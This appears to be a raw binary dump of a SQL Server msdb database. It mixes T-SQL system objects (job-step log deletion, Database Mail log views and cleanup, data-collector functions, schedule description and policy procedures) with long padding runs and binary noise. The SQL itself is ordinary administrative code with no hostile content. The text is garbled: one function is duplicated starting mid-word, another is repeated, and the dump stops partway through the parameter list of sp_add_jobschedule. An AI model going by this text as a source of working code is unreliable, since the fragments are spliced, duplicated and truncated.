
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`V<KM:j.0eE 8CREATE VIEW sysjobs_view
AS
SELECT jobs.job_id,
       svr.originating_server,
       jobs.name,
       jobs.enabled,
       jobs.description,
       jobs.start_step_id,
       jobs.category_id,
       jobs.owner_sid,
       jobs.notify_level_eventlog,
       jobs.notify_level_email,
       jobs.notify_level_netsend,
       jobs.notify_level_page,
       jobs.notify_email_operator_id,
       jobs.notify_netsend_operator_id,
       jobs.notify_page_operator_id,
       jobs.delete_level,
       jobs.date_created,
       jobs.date_modified,
       jobs.version_number,
       jobs.originating_server_id,
       svr.master_server
FROM msdb.dbo.sysjobs as jobs
  JOIN msdb.dbo.sysoriginatingservers_view as svr
    ON jobs.originating_server_id = svr.originating_server_id
  --LEFT JOIN msdb.dbo.sysjobservers js ON jobs.job_id = js.job_id
WHERE (owner_sid = SUSER_SID())
   OR (ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) = 1)
   OR (ISNULL(IS_MEMBER(N'SQLAgentReaderRole'), 0) = 1)
   OR ( (ISNULL(IS_MEMBER(N'TargetServersRole'), 0) = 1) AND
        (EXISTS(SELECT * FROM msdb.dbo.sysjobservers js 
         WHERE js.server_id <> 0 AND js.job_id = jobs.job_id))) -- filter out local jobs  
0F 	8CREATE PROCEDURE sp_delete_jobsteplog
  @job_id      UNIQUEIDENTIFIER = NULL, -- Must provide either this or job_name
  @job_name    sysname          = NULL, -- Must provide either this or job_id
  @step_id     INT              = NULL,
  @step_name   sysname          = NULL,
  @older_than  datetime         = NULL,
  @larger_than int      = NULL   -- (in megabytes)
AS
BEGIN
  DECLARE @retval      INT
  DECLARE @max_step_id INT
  DECLARE @valid_range VARCHAR(50)

  EXECUTE @retval = sp_verify_job_identifiers '@job_name',
                                              '@job_id',
                                               @job_name OUTPUT,
                                               @job_id   OUTPUT,
                                              'NO_TEST'
  IF (@retval <> 0)
    RETURN(1) -- Failure

  -- Check step id (if supplied)
  IF (@step_id IS NOT NULL)
  BEGIN
    -- Get current maximum step id
    SELECT @max_step_id = ISNULL(MAX(step_id), 0)
    FROM msdb.dbo.sysjobsteps
    WHERE job_id = @job_id
   IF @max_step_id = 0
   BEGIN
      RAISERROR(14528, -1, -1, @job_name)
      RETURN(1) -- Failure 
   END
    ELSE IF (@step_id < 1) OR (@step_id > @max_step_id)
    BEGIN
      SELECT @valid_range = '1..' + CONVERT(VARCHAR, @max_step_id)
      RAISERROR(14266, -1, -1, '@step_id', @valid_range)
      RETURN(1) -- Failure
    END
  END

  -- Check step name (if supplied)
  -- NOTE: A supplied step id overrides a supplied step name
  IF ((@step_id IS NULL) AND (@step_name IS NOT NULL))
  BEGIN
    SELECT @step_id = step_id
    FROM msdb.dbo.sysjobsteps
    WHERE (step_name = @step_name)
      AND (job_id = @job_id)

    IF (@step_id IS NULL)
    BEGIN
      RAISERROR(14262, -1, -1, '@step_name', @step_name)
      RETURN(1) -- Failure
    END
  END


   -- Delete either the specified step or ALL the steps (if step id is NULL)
   
   DELETE FROM msdb.dbo.sysjobstepslogs
   WHERE (step_uid IN (SELECT DISTINCT step_uid 
                        FROM   msdb.dbo.sysjobsteps js, msdb.dbo.sysjobs_view jv
                        WHERE (  @job_id = jv.job_id )
                          AND (js.job_id = jv.job_id )
                          AND ((@step_id IS NULL) OR (@step_id = step_id)))) 
    AND ((@older_than IS NULL) OR (date_modified < @older_than))
    AND ((@larger_than IS NULL) OR (log_size > @larger_than))

  RETURN(@retval) -- 0 means success

END
0u}F n8
CREATE VIEW sysmail_event_log
AS
SELECT log_id,
       CASE event_type 
          WHEN 0 THEN 'success' 
          WHEN 1 THEN 'information' 
          WHEN 2 THEN 'warning' 
          ELSE 'error' 
       END as event_type,
       log_date,
       description,
       process_id,
       sl.mailitem_id,
       account_id,
       sl.last_mod_date,
       sl.last_mod_user
FROM [dbo].[sysmail_log]  sl
WHERE (ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) = 1) OR 
      (EXISTS ( SELECT mailitem_id FROM [dbo].[sysmail_allitems] ai WHERE sl.mailitem_id = ai.mailitem_id ))

0qG 8CREATE PROCEDURE sysmail_delete_log_sp
   @logged_before DATETIME   = NULL, 
   @event_type varchar(15)   = NULL
AS
BEGIN

   SET @event_type       = LTRIM(RTRIM(@event_type))
   IF @event_type        = '' SET @event_type = NULL
   DECLARE @event_type_numeric INT

   IF ( (@event_type IS NOT NULL) AND
         (LOWER(@event_type collate SQL_Latin1_General_CP1_CS_AS) NOT IN ( 'success', 'warning', 'error', 'information' ) ) )
   BEGIN
        RAISERROR(14266, -1, -1, '@event_type', 'success, warning, error, information')
      RETURN(1) -- Failure
   END   
   
   IF ( @event_type IS NOT NULL)
   BEGIN
      SET @event_type_numeric = ( SELECT CASE 
                           WHEN @event_type = 'success' THEN 0
                           WHEN @event_type = 'information' THEN 1
                           WHEN @event_type = 'warning' THEN 2
                           ELSE 3 END 
                        )
   END
   ELSE
      SET @event_type_numeric = NULL

   DELETE FROM msdb.dbo.sysmail_log 
   WHERE 
        ((@logged_before IS NULL) OR ( log_date < @logged_before))
   AND ((@event_type_numeric IS NULL) OR (@event_type_numeric = event_type))
END
0daF s8
CREATE PROCEDURE [dbo].[sp_syscollector_event_oncollectionstop]
    @collection_set_id int
AS
BEGIN
    SET NOCOUNT ON

    -- Security check (role membership)
    IF (NOT (ISNULL(IS_MEMBER(N'dc_proxy'), 0) = 1) AND NOT (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1))
    BEGIN
        RAISERROR(14677, -1, -1, 'dc_proxy')
        RETURN(1) -- Failure
    END

    -- Check the collection_set_id
    IF (@collection_set_id IS NULL)
    BEGIN
        RAISERROR(14606, -1, -1, '@collection_set_id')
        RETURN (1)
    END
    ELSE IF (NOT EXISTS (SELECT collection_set_id FROM dbo.syscollector_collection_sets WHERE collection_set_id = @collection_set_id))
    BEGIN
        DECLARE @collection_set_id_as_char VARCHAR(36)
        SELECT @collection_set_id_as_char = CONVERT(VARCHAR(36), @collection_set_id)

        RAISERROR(14262, -1, -1, '@collection_set_id', @collection_set_id_as_char)
        RETURN (1)
    END

    -- Find the log_id
    -- It will be a log entry for the same collection set, with no parent and not finished
    DECLARE @log_id bigint
    SELECT TOP 1 @log_id = log_id FROM dbo.syscollector_execution_log_internal 
        WHERE collection_set_id = @collection_set_id 
        AND parent_log_id IS NULL
        AND finish_time IS NULL
        ORDER BY start_time DESC

    IF (@log_id IS NULL)
    BEGIN
        -- Raise a warning message
        RAISERROR(14606, 9, -1, '@log_id')
    END
    ELSE
    BEGIN
        -- Mark the log as finished
        UPDATE dbo.syscollector_execution_log_internal SET
            finish_time = GETDATE(),
            [status] = CASE
                WHEN [status] = 0 THEN 1 -- Mark complete if it was running
                ELSE [status]            -- Leave the error status unchanged
            END
        WHERE log_id = @log_id
    END

    RETURN (0)
END
0ghF 58(sysdatetimeoffset())!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!95eyE`c
<	LMiz0ԫN +8(getdate())0
|O +8(getdate())0GO P8
Lh?>hC0O 8
CREATE TRIGGER trig_principalprofile
ON msdb.dbo.sysmail_principalprofile
FOR UPDATE
AS
BEGIN
   SET NOCOUNT ON  

   IF (TRIGGER_NESTLEVEL( OBJECT_ID('dbo.trig_principalprofile'), 'AFTER' , 'DML' ) <= 1) 
   BEGIN  
      UPDATE msdb.dbo.sysmail_principalprofile 
      SET last_mod_datetime = getdate(),last_mod_user = suser_sname() 
      FROM sysmail_principalprofile p, inserted i
      WHERE p.profile_id = i.profile_id and p.principal_sid = i.principal_sid
   END
END
0eN 8
CREATE FUNCTION [dbo].[fn_syscollector_get_execution_log_tree] 
(
     @log_id                BIGINT,
     @from_collection_set    BIT = 1
) 
RETURNS TABLE
AS
RETURN
(
    -- Derive result using a CTE as the table is self-referencing
    WITH graph AS 
    (
        -- select the anchor (specified) node
        SELECT 
            log_id,
            parent_log_id,
            collection_set_id,
            start_time,
            last_iteration_time,
            finish_time,
            runtime_execution_mode,
            operator,
            [status],
            package_id,
            package_execution_id,
            failure_message,
            0 AS depth 
        FROM dbo.syscollector_execution_log
        WHERE log_id = CASE @from_collection_set
            WHEN 1 THEN dbo.fn_syscollector_find_collection_set_root(@log_id)
            ELSE @log_id
        END 
        -- select the child nodes recursively
        UNION ALL
        SELECT 
            leaf.log_id,
            leaf.parent_log_id,
            leaf.collection_set_id,
            leaf.start_time,
            leaf.last_iteration_time,
            leaf.finish_time,
            leaf.runtime_execution_mode,
            leaf.operator,
            leaf.[status],
            leaf.package_id,
            leaf.package_execution_id,
            leaf.failure_message,
            node.depth + 1 AS depth
        FROM dbo.syscollector_execution_log AS leaf
        INNER JOIN graph AS node ON (node.log_id = leaf.parent_log_id)
    )
    SELECT 
        log_id,
        parent_log_id,
        collection_set_id,
        start_time,
        last_iteration_time,
        finish_time,
        CASE 
            WHEN finish_time IS NOT NULL THEN DATEDIFF(ss, start_time, finish_time) 
            WHEN last_iteration_time IS NOT NULL THEN DATEDIFF(ss, start_time, last_iteration_time) 
            ELSE 0
        END AS duration,
        runtime_execution_mode,
        operator,
        [status],
        package_id,
        package_execution_id,
        failure_message,
        depth 
    FROM graph
) 
0˜O 8
CREATE FUNCTION [dbo].[fn_syscollector_get_execution_stats] 
(
     @log_id                BIGINT
) 
RETURNS TABLE
AS
RETURN
(
    SELECT 
        log_id,
        task_name,
        AVG(execution_row_count_in) AS avg_row_count_in,
        MIN(execution_row_count_in) AS min_row_count_in,
        MAX(execution_row_count_in) AS max_row_count_in,
        AVG(execution_row_count_out) AS avg_row_count_out,
        MIN(execution_row_count_out) AS min_row_count_out,
        MAX(execution_row_count_out) AS max_row_count_out,
        AVG(execution_row_count_errors) AS avg_row_count_errors,
        MIN(execution_row_count_errors) AS min_row_count_errors,
        MAX(execution_row_count_errors) AS max_row_count_errors,
        AVG(execution_time_ms) AS avg_duration,
        MIN(execution_time_ms) AS min_duration,
        MAX(execution_time_ms) AS max_duration
    FROM dbo.syscollector_execution_stats
    WHERE log_id = @log_id
    GROUP BY log_id, task_name
)
0tgO 8CREATE PROCEDURE [dbo].[sp_syspolicy_update_target_set_level] 
@target_set_id int,
@type_skeleton nvarchar(max),
@condition_id int = NULL,
@condition_name sysname = NULL
AS
BEGIN
	DECLARE @retval_check int;
	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole'
	IF ( 0!= @retval_check)
	BEGIN
		RETURN @retval_check
	END

	DECLARE @retval int

    IF @condition_name = '' SET @condition_name = NULL

    IF(@condition_id IS NOT NULL or @condition_name IS NOT NULL)
    BEGIN
        EXEC @retval = msdb.dbo.sp_syspolicy_verify_condition_identifiers @condition_name = @condition_name OUTPUT, @condition_id = @condition_id OUTPUT
        IF (@retval <> 0)
            RETURN (1)
    END

    UPDATE msdb.[dbo].[syspolicy_target_set_levels_internal] 
        SET condition_id = @condition_id
        WHERE target_set_id = @target_set_id AND type_skeleton = @type_skeleton
    
    IF (@@ROWCOUNT = 0)
    BEGIN
        DECLARE @id nvarchar(max)
        SET @id = '@target_set_id='+LTRIM(STR(@target_set_id))+' @type_skeleton='''+@type_skeleton+''''
        RAISERROR(14262, -1, -1, 'Target Set Level', @id)
        RETURN (1)
    END

    RETURN (0)
END
0J2O 8CREATE VIEW [dbo].[sysutility_mi_configuration]
AS
    SELECT config.ucp_instance_name, config.mdw_database_name, t.upload_schema_version
    FROM 
    -- The upload_schema_version represents the contract between the UCP and MI for data upload
    -- Change this value when a breaking change with a (downlevel) UCP may be introduced in the MI
    -- upload code.
    (SELECT 100 AS upload_schema_version) t
    LEFT OUTER JOIN
    [dbo].[sysutility_mi_configuration_internal] config
    ON 1=1
0 N %8((0))0YO %8((0))af.parent_log_id,
            leaf.collection_set_id,
            leaf.start_time,
            leaf.last_iteration_time,
            leaf.finish_time,
            leaf.runtime_execution_mode,
            leaf.operator,
            leaf.[status],
            leaf.package_id,
            leaf.package_execution_id,
            leaf.failure_message,
            node.depth + 1 AS depth
        FROM dbo.syscollector_execution_log AS leaf
        INNER JOIN graph AS node ON (node.log_id = leaf.parent_log_id)
    )
    SELECT 
        log_id,
        parent_log_id,
        collection_set_id,
        start_time,
        last_iteration_time,
        finish_time,
        CASE 
            WHEN finish_time IS NOT NULL THEN DATEDIFF(ss, start_time, finish_time) 
            WHEN last_iteration_time IS NOT NULL THEN DATEDIFF(ss, start_time, last_iteration_time) 
            ELSE 0
        END AS duration,
        runtime_execution_mode,
        operator,
        [status],
        package_id,
        package_execution_id,
        failure_message,
        depth 
    FROM graph
) 
0˜O 8
CREATE FUNCTION [dbo].[fn_syscollector_get_execution_stats] 
(
     @log_id                BIGINT
) 
RETURNS TABLE
AS
RETURN
(
    SELECT 
        log_id,
        task_name,
        AVG(execution_row_count_in) AS avg_row_count_in,
        MIN(execution_row_count_in) AS min_row_count_in,
        MAX(execution_row_count_in) AS max_row_count_in,
        AVG(execution_row_count_out) AS avg_row_count_out,
        MIN(execution_row_count_out) AS min_row_count_out,
        MAX(execution_row_count_out) AS max_row_count_out,
        AVG(execution_row_count_errors) AS avg_row_count_errors,
        MIN(execution_row_count_errors) AS min_row_count_errors,
        MAX(execution_row_count_errors) AS max_row_count_errors,
        AVG(execution_time_ms) AS avg_duration,
        MIN(execution_time_ms) AS min_duration,
        MAX(execution_time_ms) AS max_duration
    FROM dbo.syscollector_execution_stats
    WHERE log_id = @log_id
    GROUP BY log_id, task_name
)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Q,m	
Q`<
%MH/&
10G *8CREATE PROCEDURE sp_get_schedule_description
  @freq_type              INT          = NULL,
  @freq_interval          INT          = NULL,
  @freq_subday_type       INT          = NULL,
  @freq_subday_interval   INT          = NULL,
  @freq_relative_interval INT          = NULL,
  @freq_recurrence_factor INT          = NULL,
  @active_start_date      INT          = NULL,
  @active_end_date        INT          = NULL,
  @active_start_time      INT          = NULL,
  @active_end_time        INT          = NULL,
  @schedule_description   NVARCHAR(255) OUTPUT
AS
BEGIN
  DECLARE @loop              INT
  DECLARE @idle_cpu_percent  INT
  DECLARE @idle_cpu_duration INT

  SET NOCOUNT ON

  IF (@freq_type = 0x1) -- OneTime
  BEGIN
    SELECT @schedule_description = N'Once on ' + CONVERT(NVARCHAR, @active_start_date) + N' at ' + CONVERT(NVARCHAR, @active_start_time)
    RETURN
  END

  IF (@freq_type = 0x4) -- Daily
  BEGIN
    SELECT @schedule_description = N'Every day '
  END

  IF (@freq_type = 0x8) -- Weekly
  BEGIN
    SELECT @schedule_description = N'Every ' + CONVERT(NVARCHAR, @freq_recurrence_factor) + N' week(s) on '
    SELECT @loop = 1
    WHILE (@loop <= 7)
    BEGIN
      IF (@freq_interval & POWER(2, @loop - 1) = POWER(2, @loop - 1))
        SELECT @schedule_description = @schedule_description + DATENAME(dw, N'1996120' + CONVERT(NVARCHAR, @loop)) + N', '
      SELECT @loop = @loop + 1
    END
    IF (RIGHT(@schedule_description, 2) = N', ')
      SELECT @schedule_description = SUBSTRING(@schedule_description, 1, (DATALENGTH(@schedule_description) / 2) - 2) + N' '
  END

  IF (@freq_type = 0x10) -- Monthly
  BEGIN
    SELECT @schedule_description = N'Every ' + CONVERT(NVARCHAR, @freq_recurrence_factor) + N' months(s) on day ' + CONVERT(NVARCHAR, @freq_interval) + N' of that month '
  END

  IF (@freq_type = 0x20) -- Monthly Relative
  BEGIN
    SELECT @schedule_description = N'Every ' + CONVERT(NVARCHAR, @freq_recurrence_factor) + N' months(s) on the '
    SELECT @schedule_description = @schedule_description +
      CASE @freq_relative_interval
        WHEN 0x01 THEN N'first '
        WHEN 0x02 THEN N'second '
        WHEN 0x04 THEN N'third '
        WHEN 0x08 THEN N'fourth '
        WHEN 0x10 THEN N'last '
      END +
      CASE
        WHEN (@freq_interval > 00)
         AND (@freq_interval < 08) THEN DATENAME(dw, N'1996120' + CONVERT(NVARCHAR, @freq_interval))
        WHEN (@freq_interval = 08) THEN N'day'
        WHEN (@freq_interval = 09) THEN N'week day'
        WHEN (@freq_interval = 10) THEN N'weekend day'
      END + N' of that month '
  END

  IF (@freq_type = 0x40) -- AutoStart
  BEGIN
    SELECT @schedule_description = FORMATMESSAGE(14579)
    RETURN
  END

  IF (@freq_type = 0x80) -- OnIdle
  BEGIN
    EXECUTE master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
                                           N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                           N'IdleCPUPercent',
                                           @idle_cpu_percent OUTPUT,
                                           N'no_output'
    EXECUTE master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
                                           N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                           N'IdleCPUDuration',
                                           @idle_cpu_duration OUTPUT,
                                           N'no_output'
    SELECT @schedule_description = FORMATMESSAGE(14578, ISNULL(@idle_cpu_percent, 10), ISNULL(@idle_cpu_duration, 600))
    RETURN
  END

  -- Subday stuff
  SELECT @schedule_description = @schedule_description +
    CASE @freq_subday_type
      WHEN 0x1 THEN N'at ' + CONVERT(NVARCHAR, @active_start_time)
      WHEN 0x2 THEN N'every ' + CONVERT(NVARCHAR, @freq_subday_interval) + N' second(s)'
      WHEN 0x4 THEN N'every ' + CONVERT(NVARCHAR, @freq_subday_interval) + N' minute(s)'
      WHEN 0x8 THEN N'every ' + CONVERT(NVARCHAR, @freq_subday_interval) + N' hour(s)'
    END
  IF (@freq_subday_type IN (0x2, 0x4, 0x8))
    SELECT @schedule_description = @schedule_description + N' between ' +
           CONVERT(NVARCHAR, @active_start_time) + N' and ' + CONVERT(NVARCHAR, @active_end_time)
END
0֩G 8
CREATE PROCEDURE [dbo].[sp_syscollector_event_oncollectionend]
    @log_id bigint
AS
BEGIN
    SET NOCOUNT ON

    -- Security check (role membership)
    IF (NOT (ISNULL(IS_MEMBER(N'dc_proxy'), 0) = 1) AND NOT (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1))
    BEGIN
        RAISERROR(14677, -1, -1, 'dc_proxy')
        RETURN(1) -- Failure
    END

    -- Check the log_id
    DECLARE @retVal INT
    EXEC @retVal = dbo.sp_syscollector_verify_event_log_id @log_id, 1
    IF (@retVal <> 0)
        RETURN (@retVal)

    -- Mark the log as finished
    UPDATE dbo.syscollector_execution_log_internal SET
        finish_time = GETDATE(),
        [status] = CASE
            WHEN [status] = 0 THEN 1 -- Mark complete if it was running
            ELSE [status]            -- Leave the error status unchanged
        END
    WHERE log_id = @log_id

    RETURN (0)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`W<XNH/%0TȚH F8CREATE PROCEDURE sp_add_jobschedule                 -- This SP is deprecated. Use sp_add_schedule and sp_attach_schedule.
  @job_id                 UNIQUEIDENTIFIER = NULL,
  @job_name               sysname          = NULL,
  @name                   sysname,
  @enabled                TINYINT          = 1,
  @freq_type              INT              = 1,
  @freq_interval          INT              = 0,
  @freq_subday_type       INT              = 0,
  @freq_subday_interval   INT              = 0,
  @freq_relative_interval INT              = 0,
  @freq_recurrence_factor INT              = 0,
  @active_start_date      INT              = NULL,     -- sp_verify_schedule assigns a default
  @active_end_date        INT              = 99991231, -- December 31st 9999
  @active_start_time      INT              = 000000,   -- 12:00:00 am
  @active_end_time        INT              = 235959,    -- 11:59:59 pm
  @schedule_id            INT              = NULL  OUTPUT,
  @automatic_post         BIT              = 1,         -- If 1 will post notifications to all tsx servers to that run this job
